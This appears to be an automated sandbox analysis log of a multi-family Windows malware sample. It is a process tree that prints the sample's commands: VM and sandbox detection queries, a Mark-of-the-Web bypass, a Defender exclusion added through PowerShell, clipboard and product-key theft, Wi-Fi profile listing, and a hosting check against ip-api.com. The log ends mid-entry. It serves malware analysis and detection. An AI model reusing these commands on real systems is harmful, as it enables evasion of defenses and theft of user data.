PID 3820 wrote to memory of 5768	3820	cmd.exe	490
PID 6128 wrote to memory of 5776	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	95
PID 5776 wrote to memory of 4260	5776	cmd.exe	183
PID 6128 wrote to memory of 4580	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	98
PID 4580 wrote to memory of 2208	4580	cmd.exe	386
PID 6128 wrote to memory of 2728	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	101
PID 2728 wrote to memory of 5496	2728	cmd.exe	487
PID 6128 wrote to memory of 2020	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	104
PID 2020 wrote to memory of 1316	2020	cmd.exe	316
PID 6128 wrote to memory of 5568	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	107
PID 5568 wrote to memory of 1768	5568	cmd.exe	318
PID 6128 wrote to memory of 5936	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	110
PID 5936 wrote to memory of 5388	5936	cmd.exe	112
PID 6128 wrote to memory of 1456	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	113
PID 1456 wrote to memory of 5824	1456	cmd.exe	115
PID 6128 wrote to memory of 1048	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	116
PID 1048 wrote to memory of 1668	1048	cmd.exe	118
PID 6128 wrote to memory of 4864	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	119
PID 4864 wrote to memory of 2992	4864	cmd.exe	121
PID 6128 wrote to memory of 3432	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	122
PID 3432 wrote to memory of 1816	3432	cmd.exe	124
PID 6128 wrote to memory of 2368	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	125
PID 2368 wrote to memory of 2428	2368	cmd.exe	127
PID 6128 wrote to memory of 2320	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	128
PID 2320 wrote to memory of 420	2320	cmd.exe	130
PID 6128 wrote to memory of 1980	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	131
PID 1980 wrote to memory of 6088	1980	cmd.exe	337
PID 6128 wrote to memory of 5660	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	134
PID 5660 wrote to memory of 688	5660	cmd.exe	136
PID 6128 wrote to memory of 5324	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	137
PID 5324 wrote to memory of 2372	5324	cmd.exe	139
PID 6128 wrote to memory of 5636	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	140
PID 5636 wrote to memory of 1664	5636	cmd.exe	142
PID 6128 wrote to memory of 1564	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	144
PID 1564 wrote to memory of 5952	1564	cmd.exe	146
PID 6128 wrote to memory of 1188	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	147
PID 1188 wrote to memory of 2868	1188	cmd.exe	149
PID 6128 wrote to memory of 840	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	150
PID 840 wrote to memory of 3968	840	cmd.exe	453
PID 6128 wrote to memory of 6136	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	153
PID 6136 wrote to memory of 996	6136	cmd.exe	466
PID 6128 wrote to memory of 2520	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	156
PID 2520 wrote to memory of 2864	2520	cmd.exe	158
PID 6128 wrote to memory of 5976	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	159
PID 5976 wrote to memory of 2836	5976	cmd.exe	161
PID 6128 wrote to memory of 5784	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	162
PID 5784 wrote to memory of 1688	5784	cmd.exe	164
PID 6128 wrote to memory of 940	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	165
PID 940 wrote to memory of 6108	940	cmd.exe	294
PID 6128 wrote to memory of 4884	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	168
PID 4884 wrote to memory of 4616	4884	cmd.exe	489
PID 6128 wrote to memory of 588	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	171
PID 588 wrote to memory of 3632	588	cmd.exe	173
PID 6128 wrote to memory of 2336	6128	2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	174
PID 2336 wrote to memory of 4432	2336	cmd.exe	176

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5740	attrib.exe
4280	attrib.exe
4500	attrib.exe
3276	attrib.exe
2452	attrib.exe
1624	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"
1⤵
- Subvert Trust Controls: Mark-of-the-Web Bypass
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:6128
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Temp\2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier\" 2>nul""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4920
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Temp\2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:2336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4184
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic desktopmonitor get ScreenWidth,ScreenHeight /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5088
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic desktopmonitor get ScreenWidth,ScreenHeight /format:csv
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3352
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic logicaldisk where "DriveType=3" get Size /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2068
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic logicaldisk where "DriveType=3" get Size /format:csv
    3⤵
    PID:5168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get Name /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3820
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get Name /format:csv
    3⤵
    - Detects videocard installed
    PID:5768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5776
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
    3⤵
    - Looks for VMWare Tools registry key
    PID:4260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4580
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    PID:2208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2728
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:5496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2020
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF"
    3⤵
    - Enumerates VirtualBox registry keys
    PID:1316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5568
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci"
    3⤵
    - Looks for VMWare services registry key.
    PID:1768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5936
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs"
    3⤵
    PID:5388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1456
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL"
    3⤵
    - Looks for VMWare services registry key.
    PID:5824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\QEMU" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1048
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\QEMU"
    3⤵
    PID:1668
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Parallels" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4864
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Parallels"
    3⤵
    PID:2992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Wine" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3432
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Wine"
    3⤵
    - Identifies Wine through registry keys
    PID:1816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2368
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn"
    3⤵
    - Looks for Xen service registry key.
    PID:2428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie"
    3⤵
    PID:420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Cuckoo" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1980
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Cuckoo"
    3⤵
    PID:6088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\JoeBox" 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5660
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\JoeBox"
    3⤵
    PID:688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5324
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Enumerates processes with tasklist
    PID:2372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "getmac /FO CSV /NH"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5636
- - C:\Windows\system32\getmac.exe
    getmac /FO CSV /NH
    3⤵
    PID:1664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "driverquery /FO CSV"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1564
- - C:\Windows\system32\driverquery.exe
    driverquery /FO CSV
    3⤵
    PID:5952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1188
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport(\"kernel32\")]public static extern bool IsDebuggerPresent();}'@;[D]::IsDebuggerPresent()""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6136
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport(\"kernel32\")]public static extern bool IsDebuggerPresent();}'@;[D]::IsDebuggerPresent()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get Manufacturer,Model /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2520
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get Manufacturer,Model /format:csv
    3⤵
    PID:2864
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5976
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv
    3⤵
    PID:2836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Get-Process -Id $PID).Parent.ProcessName""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Get-Process -Id $PID).Parent.ProcessName"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net use"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:940
- - C:\Windows\system32\net.exe
    net use
    3⤵
    PID:6108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /NH"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4884
- - C:\Windows\system32\tasklist.exe
    tasklist /NH
    3⤵
    - Enumerates processes with tasklist
    PID:4616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:588
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
    3⤵
    PID:3632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get SerialNumber /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2336
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get SerialNumber /format:csv
    3⤵
    PID:4432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoP -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate""
  2⤵
  PID:5448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid 2>nul"
  2⤵
  PID:5968
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:4376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\CLR\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4260
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /noconfig /nologo /optimize+ /out:C:\Users\Admin\AppData\Local\Microsoft\CLR\pre_strm_1780365594551.exe /lib:C:\Windows\Microsoft.NET\Framework64\v4.0.30319 /r:mscorlib.dll /r:System.dll /r:System.Drawing.dll /r:System.Windows.Forms.dll /target:winexe C:\Users\Admin\AppData\Local\Microsoft\CLR\pre_strm_1780365594551.cs
  2⤵
  PID:5424
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB8DB.tmp" "c:\Users\Admin\AppData\Local\Microsoft\CLR\CSC7A9DF5BDF3A44E209289C57F851D995.TMP"
    3⤵
    PID:5360
- C:\Users\Admin\AppData\Local\Temp\2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
  C:\Users\Admin\AppData\Local\Temp\2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe C:\snapshot\12vt\panel\server\build_temp\build_1780168034402_esel8d\index.js
  2⤵
  - Executes dropped EXE
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  PID:2084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Temp\2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier\" 2>nul""
    3⤵
    PID:2628
  - - C:\Windows\system32\cmd.exe
      cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Temp\2026-06-02_349bca8cf662c1fe96d17d989e90bd0f_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier\" 2>nul"
      4⤵
      PID:944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Get-Clipboard""
    3⤵
    - Clipboard Data
    PID:2500
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "Get-Clipboard"
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:4660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic product get name,version /format:csv 2>nul"
    3⤵
    PID:436
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic product get name,version /format:csv
      4⤵
      PID:5788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
    3⤵
    PID:4568
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
      4⤵
      PID:3448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "Get-CimInstance Win32_StartupCommand | Select-Object Name,Command,Location,User | Format-Table -AutoSize -Wrap""
    3⤵
    PID:712
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "Get-CimInstance Win32_StartupCommand | Select-Object Name,Command,Location,User | Format-Table -AutoSize -Wrap"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:4660
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:4640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV"
    3⤵
    PID:2360
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO CSV
      4⤵
      Enumerates processes with tasklist
      PID:5112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "(Get-CimInstance SoftwareLicensingService).OA3xOriginalProductKey""
    3⤵
    PID:1856
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "(Get-CimInstance SoftwareLicensingService).OA3xOriginalProductKey"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -Command "(Get-CimInstance -ClassName SoftwareLicensingProduct | Where-Object {$_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f' -and $_.LicenseStatus -eq 1}).PartialProductKey""
    3⤵
    PID:5016
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5756
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "(Get-CimInstance -ClassName SoftwareLicensingProduct | Where-Object {$_.ApplicationID -eq '55c92734-d682-4d71-983e-d6ec3f16059f' -and $_.LicenseStatus -eq 1}).PartialProductKey"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "ipconfig /all"
    3⤵
    PID:2044
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:4456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "arp -a"
    3⤵
    - Network Service Discovery
    PID:4968
  - - C:\Windows\system32\ARP.EXE
      arp -a
      4⤵
      Network Service Discovery
      PID:2616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netstat -ano"
    3⤵
    - System Network Connections Discovery
    PID:4016
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5152
  - - C:\Windows\system32\NETSTAT.EXE
      netstat -ano
      4⤵
      System Network Connections Discovery
      Gathers network information
      PID:5644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "ipconfig /displaydns"
    3⤵
    PID:2464
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /displaydns
      4⤵
      Gathers network information
      PID:3452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "route print"
    3⤵
    PID:3040
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5028
  - - C:\Windows\system32\ROUTE.EXE
      route print
      4⤵
      PID:4556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net share"
    3⤵
    PID:2420
  - - C:\Windows\system32\net.exe
      net share
      4⤵
      PID:1260
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 share
        5⤵
        
        PID:5972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:3968
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:5452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles"
    3⤵
    PID:2484
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall show allprofiles
      4⤵
      Modifies Windows Firewall
      PID:5188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-MpComputerStatus -ErrorAction SilentlyContinue | Select-Object AntivirusEnabled,RealTimeProtectionEnabled | Format-List""
    3⤵
    PID:5808
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-MpComputerStatus -ErrorAction SilentlyContinue | Select-Object AntivirusEnabled,RealTimeProtectionEnabled | Format-List"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      PID:2988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-MpPreference -ErrorAction SilentlyContinue | Select-Object -ExpandProperty ExclusionPath""
    3⤵
    PID:5664
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-MpPreference -ErrorAction SilentlyContinue | Select-Object -ExpandProperty ExclusionPath"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      PID:3260
- - C:\Windows\system32\cmd.exe
